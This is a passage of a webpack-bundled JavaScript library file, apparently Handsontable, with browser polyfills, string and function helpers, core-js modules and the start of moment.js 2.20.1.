window["".concat(vendors[x], "CancelRequestAnimationFrame")]; } if (!_requestAnimationFrame) { _requestAnimationFrame = function _requestAnimationFrame(callback) { var currTime = new Date().getTime(); var timeToCall = Math.max(0, 16 - (currTime - lastTime)); var id = window.setTimeout(function () { callback(currTime + timeToCall); }, timeToCall); lastTime = currTime + timeToCall; return id; }; } if (!_cancelAnimationFrame) { _cancelAnimationFrame = function _cancelAnimationFrame(id) { clearTimeout(id); }; } /** * Polyfill for requestAnimationFrame * * @param {Function} callback * @returns {Number} */ function requestAnimationFrame(callback) { return _requestAnimationFrame.call(window, callback); } /** * Polyfill for cancelAnimationFrame * * @param {Number} id */ function cancelAnimationFrame(id) { _cancelAnimationFrame.call(window, id); } function isTouchSupported() { return 'ontouchstart' in window; } /** * Checks if browser is support web components natively * * @returns {Boolean} */ function isWebComponentSupportedNatively() { var test = document.createElement('div'); return !!(test.createShadowRoot && test.createShadowRoot.toString().match(/\[native code\]/)); } var _hasCaptionProblem; function detectCaptionProblem() { var TABLE = document.createElement('TABLE'); TABLE.style.borderSpacing = '0'; TABLE.style.borderWidth = '0'; TABLE.style.padding = '0'; var TBODY = document.createElement('TBODY'); TABLE.appendChild(TBODY); TBODY.appendChild(document.createElement('TR')); TBODY.firstChild.appendChild(document.createElement('TD')); TBODY.firstChild.firstChild.innerHTML = 't
          t'; var CAPTION = document.createElement('CAPTION'); CAPTION.innerHTML = 'c
          c
          c
          c'; CAPTION.style.padding = '0'; CAPTION.style.margin = '0'; TABLE.insertBefore(CAPTION, TBODY); document.body.appendChild(TABLE); _hasCaptionProblem = TABLE.offsetHeight < 2 * TABLE.lastChild.offsetHeight; // boolean document.body.removeChild(TABLE); } function hasCaptionProblem() { if (_hasCaptionProblem === void 0) { detectCaptionProblem(); } return _hasCaptionProblem; } var comparisonFunction; /** * Get string comparison function for sorting purposes. It supports multilingual string comparison base on Internationalization API. * * @param {String} [language] * @param {Object} [options] * @returns {*} */ function getComparisonFunction(language) { var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; if (comparisonFunction) { return comparisonFunction; } if ((typeof Intl === "undefined" ? "undefined" : _typeof(Intl)) === 'object') { comparisonFunction = new Intl.Collator(language, options).compare; } else if (typeof String.prototype.localeCompare === 'function') { comparisonFunction = function comparisonFunction(a, b) { return "".concat(a).localeCompare(b); }; } else { comparisonFunction = function comparisonFunction(a, b) { if (a === b) { return 0; } return a > b ? -1 : 1; }; } return comparisonFunction; } /***/ }), /* 48 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.toUpperCaseFirst = toUpperCaseFirst; exports.equalsIgnoreCase = equalsIgnoreCase; exports.randomString = randomString; exports.isPercentValue = isPercentValue; exports.substitute = substitute; exports.stripTags = stripTags; var _mixed = __webpack_require__(14); /** * Convert string to upper case first letter. * * @param {String} string String to convert. * @returns {String} */ function toUpperCaseFirst(string) { return string[0].toUpperCase() + string.substr(1); } /** * Compare strings case insensitively. * * @param {...String} strings Strings to compare. * @returns {Boolean} */ function equalsIgnoreCase() { var unique = []; for (var _len = arguments.length, strings = new Array(_len), _key = 0; _key < _len; _key++) { strings[_key] = arguments[_key]; } var length = strings.length; while (length) { length -= 1; var string = (0, _mixed.stringify)(strings[length]).toLowerCase(); if (unique.indexOf(string) === -1) { unique.push(string); } } return unique.length === 1; } /** * Generates a random hex string. Used as namespace for Handsontable instance events. * * @return {String} Returns 16-long character random string (eq. `'92b1bfc74ec4'`). */ function randomString() { function s4() { return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1); } return s4() + s4() + s4() + s4(); } /** * Checks if value is valid percent. * * @param {String} value * @returns {Boolean} */ function isPercentValue(value) { return /^([0-9][0-9]?%$)|(^100%$)/.test(value); } /** * Substitute strings placed beetwen square brackets into value defined in `variables` object. String names defined in * square brackets must be the same as property name of `variables` object. * * @param {String} template Template string. * @param {Object} variables Object which contains all available values which can be injected into template. * @returns {String} */ function substitute(template) { var variables = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; return "".concat(template).replace(/(?:\\)?\[([^[\]]+)]/g, function (match, name) { if (match.charAt(0) === '\\') { return match.substr(1, match.length - 1); } return variables[name] === void 0 ? '' : variables[name]; }); } var STRIP_TAGS_REGEX = /<\/?\w+\/?>|<\w+[\s|/][^>]*>/gi; /** * Strip any HTML tag from the string. * * @param {String} string String to cut HTML from. * @return {String} */ function stripTags(string) { return "".concat(string).replace(STRIP_TAGS_REGEX, ''); } /***/ }), /* 49 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.getValidator = _getItem; exports.getRegisteredValidators = exports.getRegisteredValidatorNames = exports.hasValidator = exports.registerValidator = void 0; var _staticRegister2 = _interopRequireDefault(__webpack_require__(46)); var _autocompleteValidator = _interopRequireDefault(__webpack_require__(631)); var _dateValidator = _interopRequireDefault(__webpack_require__(632)); var _numericValidator = _interopRequireDefault(__webpack_require__(633)); var _timeValidator = _interopRequireDefault(__webpack_require__(634)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var _staticRegister = (0, _staticRegister2.default)('validators'), register = _staticRegister.register, getItem = _staticRegister.getItem, hasItem = _staticRegister.hasItem, getNames = _staticRegister.getNames, getValues = _staticRegister.getValues; exports.getRegisteredValidators = getValues; exports.getRegisteredValidatorNames = getNames; exports.hasValidator = hasItem; exports.registerValidator = register; register('autocomplete', _autocompleteValidator.default); register('date', _dateValidator.default); register('numeric', _numericValidator.default); register('time', _timeValidator.default); /** * Retrieve validator function. * * @param {String} name Validator identification. * @returns {Function} Returns validator function. */ function _getItem(name) { if (typeof name === 'function') { return name; } if (!hasItem(name)) { throw Error("No registered validator found under \"".concat(name, "\" name")); } return getItem(name); } /***/ }), /* 50 */ /***/ (function(module, exports) { module.exports = function (bitmap, value) { return { enumerable: !(bitmap & 1), configurable: !(bitmap & 2), writable: !(bitmap & 4), value: value }; }; /***/ }), /* 51 */ /***/ (function(module, exports) { var id = 0; var px = Math.random(); module.exports = function (key) { return 'Symbol('.concat(key === undefined ? '' : key, ')_', (++id + px).toString(36)); }; /***/ }), /* 52 */ /***/ (function(module, exports) { module.exports = false; /***/ }), /* 53 */ /***/ (function(module, exports, __webpack_require__) { // 19.1.2.14 / 15.2.3.14 Object.keys(O) var $keys = __webpack_require__(132); var enumBugKeys = __webpack_require__(96); module.exports = Object.keys || function keys(O) { return $keys(O, enumBugKeys); }; /***/ }), /* 54 */ /***/ (function(module, exports, __webpack_require__) { var toInteger = __webpack_require__(33); var max = Math.max; var min = Math.min; module.exports = function (index, length) { index = toInteger(index); return index < 0 ? max(index + length, 0) : min(index, length); }; /***/ }), /* 55 */ /***/ (function(module, exports, __webpack_require__) { // 19.1.2.2 / 15.2.3.5 Object.create(O [, Properties]) var anObject = __webpack_require__(5); var dPs = __webpack_require__(133); var enumBugKeys = __webpack_require__(96); var IE_PROTO = __webpack_require__(95)('IE_PROTO'); var Empty = function () { /* empty */ }; var PROTOTYPE = 'prototype'; // Create object with fake `null` prototype: use iframe Object with cleared prototype var createDict = function () { // Thrash, waste and sodomy: IE GC bug var iframe = __webpack_require__(92)('iframe'); var i = enumBugKeys.length; var lt = '<'; var gt = '>'; var iframeDocument; iframe.style.display = 'none'; __webpack_require__(98).appendChild(iframe); iframe.src = 'javascript:'; // eslint-disable-line no-script-url // createDict = iframe.contentWindow.Object; // html.removeChild(iframe); iframeDocument = iframe.contentWindow.document; iframeDocument.open(); iframeDocument.write(lt + 'script' + gt + 'document.F=Object' + lt + '/script' + gt); iframeDocument.close(); createDict = iframeDocument.F; while (i--) delete createDict[PROTOTYPE][enumBugKeys[i]]; return createDict(); }; module.exports = Object.create || function create(O, Properties) { var result; if (O !== null) { Empty[PROTOTYPE] = anObject(O); result = new Empty(); Empty[PROTOTYPE] = null; // add "__proto__" for Object.getPrototypeOf polyfill result[IE_PROTO] = O; } else result = createDict(); return Properties === undefined ? result : dPs(result, Properties); }; /***/ }), /* 56 */ /***/ (function(module, exports, __webpack_require__) { // 19.1.2.7 / 15.2.3.4 Object.getOwnPropertyNames(O) var $keys = __webpack_require__(132); var hiddenKeys = __webpack_require__(96).concat('length', 'prototype'); exports.f = Object.getOwnPropertyNames || function getOwnPropertyNames(O) { return $keys(O, hiddenKeys); }; /***/ }), /* 57 */ /***/ (function(module, exports, __webpack_require__) { // 19.1.2.9 / 15.2.3.2 Object.getPrototypeOf(O) var has = __webpack_require__(27); var toObject = __webpack_require__(24); var IE_PROTO = __webpack_require__(95)('IE_PROTO'); var ObjectProto = Object.prototype; module.exports = Object.getPrototypeOf || function (O) { O = toObject(O); if (has(O, IE_PROTO)) return O[IE_PROTO]; if (typeof O.constructor == 'function' && O instanceof O.constructor) { return O.constructor.prototype; } return O instanceof Object ? ObjectProto : null; }; /***/ }), /* 58 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.toSingleLine = toSingleLine; var _array = __webpack_require__(3); /* eslint-disable import/prefer-default-export */ /** * Tags a multiline string and return new one without line break characters and following spaces. * * @param {Array} strings Parts of the entire string without expressions. * @param {...String} expressions Expressions converted to strings, which are added to the entire string. * @returns {String} */ function toSingleLine(strings) { for (var _len = arguments.length, expressions = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) { expressions[_key - 1] = arguments[_key]; } var result = (0, _array.arrayReduce)(strings, function (previousValue, currentValue, index) { var valueWithoutWhiteSpaces = currentValue.replace(/(?:\r?\n\s+)/g, ''); var expressionForIndex = expressions[index] ? expressions[index] : ''; return previousValue + valueWithoutWhiteSpaces + expressionForIndex; }, ''); return result.trim(); } /***/ }), /* 59 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.isFunction = isFunction; exports.throttle = throttle; exports.throttleAfterHits = throttleAfterHits; exports.debounce = debounce; exports.pipe = pipe; exports.partial = partial; exports.curry = curry; exports.curryRight = curryRight; var _array = __webpack_require__(3); /** * Checks if given variable is function. * * @param {*} func Variable to check. * @returns {Boolean} */ function isFunction(func) { return typeof func === 'function'; } /** * Creates throttle function that enforces a maximum number of times a function (`func`) can be called over time (`wait`). * * @param {Function} func Function to invoke. * @param {Number} wait Delay in miliseconds. * @returns {Function} */ function throttle(func) { var wait = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 200; var lastCalled = 0; var result = { lastCallThrottled: true }; var lastTimer = null; function _throttle() { var _this = this; for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } var stamp = Date.now(); var needCall = false; result.lastCallThrottled = true; if (!lastCalled) { lastCalled = stamp; needCall = true; } var remaining = wait - (stamp - lastCalled); if (needCall) { result.lastCallThrottled = false; func.apply(this, args); } else { if (lastTimer) { clearTimeout(lastTimer); } lastTimer = setTimeout(function () { result.lastCallThrottled = false; func.apply(_this, args); lastCalled = 0; lastTimer = void 0; }, remaining); } return result; } return _throttle; } /** * Creates throttle function that enforces a maximum number of times a function (`func`) can be called over * time (`wait`) after specified hits. * * @param {Function} func Function to invoke. * @param {Number} wait Delay in miliseconds. * @param {Number} hits Number of hits after throttling will be applied. * @returns {Function} */ function throttleAfterHits(func) { var wait = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 200; var hits = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 10; var funcThrottle = throttle(func, wait); var remainHits = hits; function _clearHits() { remainHits = hits; } function _throttleAfterHits() { for (var _len2 = arguments.length, args = new Array(_len2), _key2 = 0; _key2 < _len2; _key2++) { args[_key2] = arguments[_key2]; } if (remainHits) { remainHits -= 1; return func.apply(this, args); } return funcThrottle.apply(this, args); } _throttleAfterHits.clearHits = _clearHits; return _throttleAfterHits; } /** * Creates debounce function that enforces a function (`func`) not be called again until a certain amount of time (`wait`) * has passed without it being called. * * @param {Function} func Function to invoke. * @param {Number} wait Delay in milliseconds. * @returns {Function} */ function debounce(func) { var wait = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 200; var lastTimer = null; var result; function _debounce() { var _this2 = this; for (var _len3 = arguments.length, args = new Array(_len3), _key3 = 0; _key3 < _len3; _key3++) { args[_key3] = arguments[_key3]; } if (lastTimer) { clearTimeout(lastTimer); } lastTimer = setTimeout(function () { result = func.apply(_this2, args); }, wait); return result; } return _debounce; } /** * Creates the function that returns the result of calling the given functions. Result of the first function is passed to * the second as an argument and so on. Only first function in the chain can handle multiple arguments. * * @param {Function} functions Functions to compose. * @returns {Function} */ function pipe() { for (var _len4 = arguments.length, functions = new Array(_len4), _key4 = 0; _key4 < _len4; _key4++) { functions[_key4] = arguments[_key4]; } var firstFunc = functions[0], restFunc = functions.slice(1); return function _pipe() { for (var _len5 = arguments.length, args = new Array(_len5), _key5 = 0; _key5 < _len5; _key5++) { args[_key5] = arguments[_key5]; } return (0, _array.arrayReduce)(restFunc, function (acc, fn) { return fn(acc); }, firstFunc.apply(this, args)); }; } /** * Creates the function that returns the function with cached arguments. * * @param {Function} func Function to partialization. * @param {Array} params Function arguments to cache. * @returns {Function} */ function partial(func) { for (var _len6 = arguments.length, params = new Array(_len6 > 1 ? _len6 - 1 : 0), _key6 = 1; _key6 < _len6; _key6++) { params[_key6 - 1] = arguments[_key6]; } return function _partial() { for (var _len7 = arguments.length, restParams = new Array(_len7), _key7 = 0; _key7 < _len7; _key7++) { restParams[_key7] = arguments[_key7]; } return func.apply(this, params.concat(restParams)); }; } /** * Creates the functions that returns the function with cached arguments. If count if passed arguments will be matched * to the arguments defined in `func` then function will be invoked. * Arguments are added to the stack in direction from the left to the right. * * @example * ``` * var replace = curry(function(find, replace, string) { * return string.replace(find, replace); * }); * * // returns function with bounded first argument * var replace = replace('foo') * * // returns replaced string - all arguments was passed so function was invoked * replace('bar', 'Some test with foo...'); * * ``` * * @param {Function} func Function to currying. * @returns {Function} */ function curry(func) { var argsLength = func.length; function given(argsSoFar) { return function _curry() { for (var _len8 = arguments.length, params = new Array(_len8), _key8 = 0; _key8 < _len8; _key8++) { params[_key8] = arguments[_key8]; } var passedArgsSoFar = argsSoFar.concat(params); var result; if (passedArgsSoFar.length >= argsLength) { result = func.apply(this, passedArgsSoFar); } else { result = given(passedArgsSoFar); } return result; }; } return given([]); } /** * Creates the functions that returns the function with cached arguments. If count if passed arguments will be matched * to the arguments defined in `func` then function will be invoked. * Arguments are added to the stack in direction from the right to the left. * * @example * ``` * var replace = curry(function(find, replace, string) { * return string.replace(find, replace); * }); * * // returns function with bounded first argument * var replace = replace('Some test with foo...') * * // returns replaced string - all arguments was passed so function was invoked * replace('bar', 'foo'); * * ``` * * @param {Function} func Function to currying. * @returns {Function} */ function curryRight(func) { var argsLength = func.length; function given(argsSoFar) { return function _curry() { for (var _len9 = arguments.length, params = new Array(_len9), _key9 = 0; _key9 < _len9; _key9++) { params[_key9] = arguments[_key9]; } var passedArgsSoFar = argsSoFar.concat(params.reverse()); var result; if (passedArgsSoFar.length >= argsLength) { result = func.apply(this, passedArgsSoFar); } else { result = given(passedArgsSoFar); } return result; }; } return given([]); } /***/ }), /* 60 */ /***/ (function(module, exports, __webpack_require__) { var def = __webpack_require__(17).f; var has = __webpack_require__(27); var TAG = __webpack_require__(12)('toStringTag'); module.exports = function (it, tag, stat) { if (it && !has(it = stat ? it : it.prototype, TAG)) def(it, TAG, { configurable: true, value: tag }); }; /***/ }), /* 61 */ /***/ (function(module, exports) { module.exports = {}; /***/ }), /* 62 */ /***/ (function(module, exports, __webpack_require__) { // 22.1.3.31 Array.prototype[@@unscopables] var UNSCOPABLES = __webpack_require__(12)('unscopables'); var ArrayProto = Array.prototype; if (ArrayProto[UNSCOPABLES] == undefined) __webpack_require__(28)(ArrayProto, UNSCOPABLES, {}); module.exports = function (key) { ArrayProto[UNSCOPABLES][key] = true; }; /***/ }), /* 63 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var global = __webpack_require__(6); var dP = __webpack_require__(17); var DESCRIPTORS = __webpack_require__(20); var SPECIES = __webpack_require__(12)('species'); module.exports = function (KEY) { var C = global[KEY]; if (DESCRIPTORS && C && !C[SPECIES]) dP.f(C, SPECIES, { configurable: true, get: function () { return this; } }); }; /***/ }), /* 64 */ /***/ (function(module, exports) { module.exports = function (it, Constructor, name, forbiddenField) { if (!(it instanceof Constructor) || (forbiddenField !== undefined && forbiddenField in it)) { throw TypeError(name + ': incorrect invocation!'); } return it; }; /***/ }), /* 65 */ /***/ (function(module, exports, __webpack_require__) { var redefine = __webpack_require__(23); module.exports = function (target, src, safe) { for (var key in src) redefine(target, key, src[key], safe); return target; }; /***/ }), /* 66 */ /***/ (function(module, exports, __webpack_require__) { var isObject = __webpack_require__(7); module.exports = function (it, TYPE) { if (!isObject(it) || it._t !== TYPE) throw TypeError('Incompatible receiver, ' + TYPE + ' required!'); return it; }; /***/ }), /* 67 */ /***/ (function(module, exports, __webpack_require__) { /* WEBPACK VAR INJECTION */(function(module) {var require;//! moment.js //! version : 2.20.1 //! authors : Tim Wood, Iskren Chernev, Moment.js contributors //! license : MIT //! momentjs.com ;(function (global, factory) { true ? module.exports = factory() : typeof define === 'function' && define.amd ? define(factory) : global.moment = factory() }(this, (function () { 'use strict'; var hookCallback; function hooks () { return hookCallback.apply(null, arguments); } // This is done to register the method called with moment() // without creating circular dependencies. function setHookCallback (callback) { hookCallback = callback; } function isArray(input) { return input instanceof Array || Object.prototype.toString.call(input) === '[object Array]'; } function isObject(input) { // IE8 will treat undefined and null as object if it wasn't for // input != null return input != null && Object.prototype.toString.call(input) === '[object Object]'; } function isObjectEmpty(obj) { if (Object.getOwnPropertyNames) { return (Object.getOwnPropertyNames(obj).length === 0); } else { var k; for (k in obj) { if (obj.hasOwnProperty(k)) { return false; } } return true; } } function isUndefined(input) { return input === void 0; } function isNumber(input) { return typeof input === 'number' || Object.prototype.toString.call(input) === '[object Number]'; } function isDate(input) { return input instanceof Date || Object.prototype.toString.call(input) === '[object Date]'; } function map(arr, fn) { var res = [], i; for (i = 0; i < arr.length; ++i) { res.push(fn(arr[i], i)); } return res; } function hasOwnProp(a, b) { return Object.prototype.hasOwnProperty.call(a, b); } function extend(a, b) { for (var i in b) { if (hasOwnProp(b, i)) { a[i] = b[i]; } } if (hasOwnProp(b, 'toString')) { a.toString = b.toString; } if (hasOwnProp(b, 'valueOf')) { a.valueOf = b.valueOf; } return a; } function createUTC (input, format, locale, strict) { return createLocalOrUTC(input, format, locale, strict, true).utc(); } function defaultParsingFlags() { // We need to deep clone this object. return { empty : false, unusedTokens : [], unusedInput : [], overflow : -2, charsLeftOver : 0, nullInput : false, invalidMonth : null, invalidFormat : false, userInvalidated : false, iso : false, parsedDateParts : [], meridiem : null, rfc2822 : false, weekdayMismatch : false }; } function getParsingFlags(m) { if (m._pf == null) { m._pf = defaultParsingFlags(); } return m._pf; } var some; if (Array.prototype.some) { some = Array.prototype.some; } else { some = function (fun) { var t = Object(this); var len = t.length >>> 0; for (var i = 0; i < len; i++) { if (i in t && fun.call(this, t[i], i, t)) { return true; } } return false; }; } function isValid(m) { if (m._isValid == null) { var flags = getParsingFlags(m); var parsedParts = some.call(flags.parsedDateParts, function (i) { return i != null; }); var isNowValid = !isNaN(m._d.getTime()) && flags.overflow < 0 && !flags.empty && !flags.invalidMonth && !flags.invalidWeekday && !flags.weekdayMismatch && !flags.nullInput && !flags.invalidFormat && !flags.userInvalidated && (!flags.meridiem || (flags.meridiem && parsedParts)); if (m._strict) { isNowValid = isNowValid && flags.charsLeftOver === 0 && flags.unusedTokens.length === 0 && flags.bigHour === undefined; } if (Object.isFrozen == null || !Object.isFrozen(m)) { m._isValid = isNowValid; } else { return isNowValid; } } return m._isValid; } function createInvalid (flags) { var m = createUTC(NaN); if (flags != null) { extend(getParsingFlags(m), flags); } else { getParsingFlags(m).userInvalidated = true; } return m; } // Plugins that add properties should also add the key here (null value), // so we can properly clone ourselves. var momentProperties = hooks.momentProperties = []; function copyConfig(to, from) { var i, prop, val; if (!isUndefined(from._isAMomentObject)) { to._isAMomentObject = from._isAMomentObject; } if (!isUndefined(from._i)) { to._i = from._i; } if (!isUndefined(from._f)) { to._f = from._f; } if (!isUndefined(from._l)) { to._l = from._l; } if (!isUndefined(from._strict)) { to._strict = from._strict; } if (!isUndefined(from._tzm)) { to._tzm = from._tzm; } if (!isUndefined(from._isUTC)) { to._isUTC = from._isUTC; } if (!isUndefined(from._offset)) { to._offset = from._offset; } if (!isUndefined(from._pf)) { to._pf = getParsingFlags(from); } if (!isUndefined(from._locale)) { to._locale = from._locale; } if (momentProperties.length > 0) { for (i = 0; i < momentProperties.length; i++) { prop = momentProperties[i]; val = from[prop]; if (!isUndefined(val)) { to[prop] = val; } } } return to; } var updateInProgress = false; // Moment prototype object function Moment(config) { copyConfig(this, config); this._d = new Date(config._d != null ? config._d.getTime() : NaN); if (!this.isValid()) { this._d = new Date(NaN); } // Prevent infinite loop in case updateOffset creates new moment // objects. if (updateInProgress === false) { updateInProgress = true; hooks.updateOffset(this); updateInProgress = false; } } function isMoment (obj) { return obj instanceof Moment || (obj != null && obj._isAMomentObject != null); } function absFloor (number) { if (number < 0) { // -0 -> 0 return Math.ceil(number) || 0; } else { return Math.floor(number); } } function toInt(argumentForCoercion) { var coercedNumber = +argumentForCoercion, value = 0; if (coercedNumber !== 0 && isFinite(coercedNumber)) { value = absFloor(coercedNumber); } return value; } // compare two arrays, return the number of differences function compareArrays(array1, array2, dontConvert) { var len = Math.min(array1.length, array2.length), lengthDiff = Math.abs(array1.length - array2.length), diffs = 0, i; for (i = 0; i < len; i++) { if ((dontConvert && array1[i] !== array2[i]) || (!dontConvert && toInt(array1[i]) !== toInt(array2[i]))) { diffs++; } } return diffs + lengthDiff; } function warn(msg) { if (hooks.suppressDeprecationWarnings === false && (typeof console !== 'undefined') && console.warn) { console.warn('Deprecation warning: ' + msg); } } function deprecate(msg, fn) { var firstTime = true; return extend(function () { if (hooks.deprecationHandler != null) { hooks.deprecationHandler(null, msg); } if (firstTime) { var args = []; var arg; for (var i = 0; i < arguments.length; i++) { arg = ''; if (typeof arguments[i] === 'object') { arg += '\n[' + i + '] '; for (var key in arguments[0]) { arg += key + ': ' + arguments[0][key] + ', '; } arg = arg.slice(0, -2); // Remove trailing comma and space } else { arg = arguments[i]; } args.push(arg); } warn(msg + '\nArguments: ' + Array.prototype.slice.call(args).join('') + '\n' + (new Error()).stack); firstTime = false; } return fn.apply(this, arguments); }, fn); } var deprecations = {}; function deprecateSimple(name, msg) { if (hooks.deprecationHandler != null) { hooks.deprecationHandler(name, msg); } if (!deprecations[name]) { warn(msg); deprecations[name] = true; } } hooks.suppressDeprecationWarnings = false; hooks.deprecationHandler = null; function isFunction(input) { return input instanceof Function || Object.prototype.toString.call(input) === '[object Function]'; } function set (config) { var prop, i; for (i in config) { prop = config[i]; if (isFunction(prop)) { this[i] = prop; } else { this['_' + i] = prop; } } this._config = config; // Lenient ordinal parsing accepts just a number in addition to // number + (possibly) stuff coming from _dayOfMonthOrdinalParse. // TODO: Remove "ordinalParse" fallback in next major release. this._dayOfMonthOrdinalParseLenient = new RegExp( (this._dayOfMonthOrdinalParse.source || this._ordinalParse.source) + '|' + (/\d{1,2}/).source); } function mergeConfigs(parentConfig, childConfig) { var res = extend({}, parentConfig), prop; for (prop in childConfig) { if (hasOwnProp(childConfig, prop)) { if (isObject(parentConfig[prop]) && isObject(childConfig[prop])) { res[prop] = {}; extend(res[prop], parentConfig[prop]); extend(res[prop], childConfig[prop]); } else if (childConfig[prop] != null) { res[prop] = childConfig[prop]; } else { delete res[prop]; } } } for (prop in parentConfig) { if (hasOwnProp(parentConfig, prop) && !hasOwnProp(childConfig, prop) && isObject(parentConfig[prop])) { // make sure changes to properties don't modify parent config res[prop] = extend({}, res[prop]); } } return res; } function Locale(config) { if (config != null) { this.set(config); } } var keys; if (Object.keys) { keys = Object.keys; } else { keys = function (obj) { var i, res = []; for (i in obj) { if (hasOwnProp(obj, i)) { res.push(i); } } return res; }; } var defaultCalendar = { sameDay : '[Today at] LT', nextDay : '[Tomorrow at] LT', nextWeek : 'dddd [at] LT', lastDay : '[Yesterday at] LT', lastWeek : '[Last] dddd [at] LT', sameElse : 'L' }; function calendar (key, mom, now) { var output = this._calendar[key] || this._calendar['sameElse']; return isFunction(output) ? output.call(mom, now) : output; } var defaultLongDateFormat = { LTS : 'h:mm:ss A', LT : 'h:mm A', L : 'MM/DD/YYYY', LL : 'MMMM D, YYYY', LLL : 'MMMM D, YYYY h:mm A', LLLL : 'dddd, MMMM D, YYYY h:mm A' }; function longDateFormat (key) { var format = this._longDateFormat[key], formatUpper = this._longDateFormat[key.toUpperCase()]; if (format || !formatUpper) { return format; } this._longDateFormat[key] = formatUpper.replace(/MMMM|MM|DD|dddd/g, function (val) { return val.slice(1); }); return this._longDateFormat[key]; } var defaultInvalidDate = 'Invalid date'; function invalidDate () { return this._invalidDate; } var defaultOrdinal = '%d'; var defaultDayOfMonthOrdinalParse = /\d{1,2}/; function ordinal (number) { return this._ordinal.replace('%d', number); } var defaultRelativeTime = { future : 'in %s', past : '%s ago', s : 'a few seconds', ss : '%d seconds', m : 'a minute', mm : '%d minutes', h : 'an hour', hh : '%d hours', d : 'a day', dd : '%d days', M : 'a month', MM : '%d months', y : 'a year', yy : '%d years' }; function relativeTime (number, withoutSuffix, string, isFuture) { var output = this._relativeTime[string]; return (isFunction(output)) ? output(number, withoutSuffix, string, isFuture) : output.replace(/%d/i, number); } function pastFuture (diff, output) { var format = this._relativeTime[diff > 0 ? 'future' : 'past']; return isFunction(format) ? format(output) : format.replace(/%s/i, output); } var aliases = {}; function addUnitAlias (unit, shorthand) { var lowerCase = unit.toLowerCase(); aliases[lowerCase] = aliases[lowerCase + 's'] = aliases[shorthand] = unit; } function normalizeUnits(units) { return typeof units === 'string' ? aliases[units] || aliases[units.toLowerCase()] : undefined; } function normalizeObjectUnits(inputObject) { var normalizedInput = {}, normalizedProp, prop; for (prop in inputObject) { if (hasOwnProp(inputObject, prop)) { normalizedProp = normalizeUnits(prop); if (normalizedProp) { normalizedInput[normalizedProp] = inputObject[prop]; } } } return normalizedInput; } var priorities = {}; function addUnitPriority(unit, priority) { priorities[unit] = priority; } function getPrioritizedUnits(unitsObj) { var units = []; for (var u in unitsObj) { units.push({unit: u, priority: priorities[u]}); } units.sort(function (a, b) { return a.priority - b.priority; }); return units; } function zeroFill(number, targetLength, forceSign) { var absNumber = '' + Math.abs(number), zerosToFill = targetLength - absNumber.length, sign = number >= 0; return (sign ? (forceSign ? '+' : '') : '-') + Math.pow(10, Math.max(0, zerosToFill)).toString().substr(1) + absNumber; } var formattingTokens = /(\[[^\[]*\])|(\\)?([Hh]mm(ss)?|Mo|MM?M?M?|Do|DDDo|DD?D?D?|ddd?d?|do?|w[o|w]?|W[o|W]?|Qo?|YYYYYY|YYYYY|YYYY|YY|gg(ggg?)?|GG(GGG?)?|e|E|a|A|hh?|HH?|kk?|mm?|ss?|S{1,9}|x|X|zz?|ZZ?|.)/g; var localFormattingTokens = /(\[[^\[]*\])|(\\)?(LTS|LT|LL?L?L?|l{1,4})/g; var formatFunctions = {}; var formatTokenFunctions = {}; // token: 'M' // padded: ['MM', 2] // ordinal: 'Mo' // callback: function () { this.month() + 1 } function addFormatToken (token, padded, ordinal, callback) { var func = callback; if (typeof callback === 'string') { func = function () { return this[callback](); }; } if (token) { formatTokenFunctions[token] = func; } if (padded) { formatTokenFunctions[padded[0]] = function () { return zeroFill(func.apply(this, arguments), padded[1], padded[2]); }; } if (ordinal) { formatTokenFunctions[ordinal] = function () { return this.localeData().ordinal(func.apply(this, arguments), token); }; } } function removeFormattingTokens(input) { if (input.match(/\[[\s\S]/)) { return input.replace(/^\[|\]$/g, ''); } return input.replace(/\\/g, ''); } function makeFormatFunction(format) { var array = format.match(formattingTokens), i, length; for (i = 0, length = array.length; i < length; i++) { if (formatTokenFunctions[array[i]]) { array[i] = formatTokenFunctions[array[i]]; } else { array[i] = removeFormattingTokens(array[i]); } } return function (mom) { var output = '', i; for (i = 0; i < length; i++) { output += isFunction(array[i]) ? array[i].call(mom, format) : array[i]; } return output; }; } // format date using native date object function formatMoment(m, format) { if (!m.isValid()) { return m.localeData().invalidDate(); } format = expandFormat(format, m.localeData()); formatFunctions[format] = formatFunctions[format] || makeFormatFunction(format); return formatFunctions[format](m); } function expandFormat(format, locale) { var i = 5; function replaceLongDateFormatTokens(input) { return locale.longDateFormat(input) || input; } localFormattingTokens.lastIndex = 0; while (i >= 0 && localFormattingTokens.test(format)) { format = format.replace(localFormattingTokens, replaceLongDateFormatTokens); localFormattingTokens.lastIndex = 0; i -= 1; } return format; } var match1 = /\d/; // 0 - 9 var match2 = /\d\d/; // 00 - 99 var match3 = /\d{3}/; // 000 - 999 var match4 = /\d{4}/; // 0000 - 9999 var match6 = /[+-]?\d{6}/; // -999999 - 999999 var match1to2 = /\d\d?/; // 0 - 99 var match3to4 = /\d\d\d\d?/; // 999 - 9999 var match5to6 = /\d\d\d\d\d\d?/; // 99999 - 999999 var match1to3 = /\d{1,3}/; // 0 - 999 var match1to4 = /\d{1,4}/; // 0 - 9999 var match1to6 = /[+-]?\d{1,6}/; // -999999 - 999999 var matchUnsigned = /\d+/; // 0 - inf var matchSigned = /[+-]?\d+/; // -inf - inf var matchOffset = /Z|[+-]\d\d:?\d\d/gi; // +00:00 -00:00 +0000 -0000 or Z var matchShortOffset = /Z|[+-]\d\d(?::?\d\d)?/gi; // +00 -00 +00:00 -00:00 +0000 -0000 or Z var matchTimestamp = /[+-]?\d+(\.\d{1,3})?/; // 123456789 123456789.123 // any word (or two) characters or numbers including two/three word month in arabic. // includes scottish gaelic two word and hyphenated months var 